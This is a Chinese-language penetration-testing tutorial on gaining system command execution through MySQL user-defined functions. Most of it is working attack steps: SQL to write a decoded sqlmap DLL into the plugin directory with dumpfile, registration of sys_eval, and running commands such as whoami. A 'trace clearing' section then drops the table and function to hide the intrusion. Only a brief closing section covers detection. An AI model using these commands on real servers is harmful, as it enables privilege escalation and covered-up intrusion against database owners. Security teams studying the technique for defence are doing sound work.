UDF(User Defined Function) 是用戶自定義函數,是 MySQL 支持的一種機制,可以通過 C語言寫動態鏈接庫(.so / .dll),然后讓 MySQL 調用這些函數,調用方式與一般系統自帶的函數相同,例如user(),version()等函數。
前置條件
- 當前用戶已經拿到 MySQL 的權限(通常是 root)
- MySQL 進程運行權限較高(如 root)
- 有 文件寫入權限(
plugin_dir
目錄) - 可以使用
CREATE FUNCTION
創建函數(有CREATE
權限)
UDF 利用思路:
- 編寫一個惡意的 C 語言動態庫文件(比如
libudf.so
) - 利用 SQL 將該庫文件寫入 MySQL 插件目錄
- 通過
CREATE FUNCTION
注冊惡意函數(如sys_exec
) - 調用該函數來執行系統命令(比如創建 SUID shell、添加用戶等)
版本特性
udf提權操作中的一個步驟是將我們的udf文件上傳到mysql的檢索目錄中,Windows系統下mysql各版本的檢索目錄有所不同:
- Mysql < 5.0
導出路徑隨意
- 5.0 <= Mysql < 5.1
Win2000導出路徑: C:/Winnt/udf.dll
其他Windows系統導出路徑均為:C:/Windows/udf.dll或C:/Windows/system32/udf.dll
- Mysql >= 5.1
Mysql安裝目錄的lib\plugin文件夾下,如果mysql安裝時不選擇完整安裝或使用集成開發環境等情況下lib\plugin目錄大概率是不存在的,需要自行創建
UDF文件位置
- sqlmap中:sqlmap\data\udf\mysql
- metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql
操作步驟
1. 查看可導出文件位置
show variables like '%secure%';
2. 查看當前數據庫用戶權限
select * from mysql.user where user = substring_index(user(), '@', 1)\G;
3. 確實 mysql 安裝位置
select @@basedir as basePath from dual ;
4. 通過主機版本及架構確認 mysql 位數
show variables like '%basedir%';
5. 查看數據庫版本,判斷udf文件寫入位置
select version()
6. 當 mysql 大于 5.1 版本
查看 plugin 目錄
- 存在lib\plugin目錄且有webshell時,直接上傳udf文件
- 存在lib\plugin目錄但沒有webshell時,則需要以16進制編碼寫入udf文件
首先將對應版本的udf文件進行16進制編碼(sqlmap中的udf文件為防止誤殺默認是經過異或編碼的,需先使用sqlmap自帶的腳本解碼)
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
然后 16 進制編碼 udf 文件
select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';
將16進制編碼后的 udf 文件使用 dumpfile 函數寫入磁盤(outfile導出文件會在末尾寫入新行且轉義換行符,破壞二進制文件結構,dumpfile不會進行任何操作)
然后隨便選一個數據庫創建一個表并將二進制數據插入到十六進制編碼流
(如果在低版本系統環境下(win2003)或部分特殊環境使用mysql命令提示符進行提權操作,由于不同環境下的mysql命令提示符可輸入字符最大長度不同(win2003為8191,win10系統為65535),無法使用dumpfile一次性寫入全部16進制字符,則需要將udf文件的16進制編碼字符先進行切割,再拼接寫入到一個表中,最后導出到目標系統
注意:在進行16進制數據切割時,每段字符的長度要為4的倍數,2進制轉為16進制使用取四合一法,如果位數不夠會在最高位補0,補0后會破壞原始二進制文件的文件結構導致利用失敗,這也是很多人此方法復現失敗的原因。)
然后導出表中數據到系統磁盤
select data from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
- 查看 plugin 目錄,不存在 lib\plugin目錄但有webshell,可使用webshell創建lib\plugin目錄
- 查看 plugin 目錄,不存在 lib\plugin目錄也沒有webshell,那就沒辦法了
7. Mysql 小于 5.1 版本時
- 有 webshell 時,通過 webshell
- 無 webshell 時,使用 dumpfile 通過 16 進制數據流寫入 udf 文件
8. 創建命令執行函數
使用winhex打開udf文件,在最下方可以看到udf文件提供的函數。
sys_eval,執行任意系統命令,并將輸出返回。
sys_exec,執行任意系統命令,并將退出碼返回(無命令執行結果回顯)。
create function sys_eval returns string soname 'udf.dll';
命令執行:
select sys_eval("whoami");
痕跡清除
1、刪除表
drop table udf;
2、刪除函數
drop function sys_eval;
檢測與應急響應思路
- 查看
mysql.func
表中是否有可疑函數:
SELECT * FROM mysql.func;
- 檢查 plugin 目錄是否存在異常 so 文件
ls -l /usr/lib/mysql/plugin/
- 審查 auditd 日志是否有寫入 so 文件的記錄
---
Linux 環境下的 udf 提權大概率只存在與靶場環境中,原因:
在 Linux 嚴格的系統權限下,mysql 用戶或 web 用戶無 plugin 目錄的寫入權限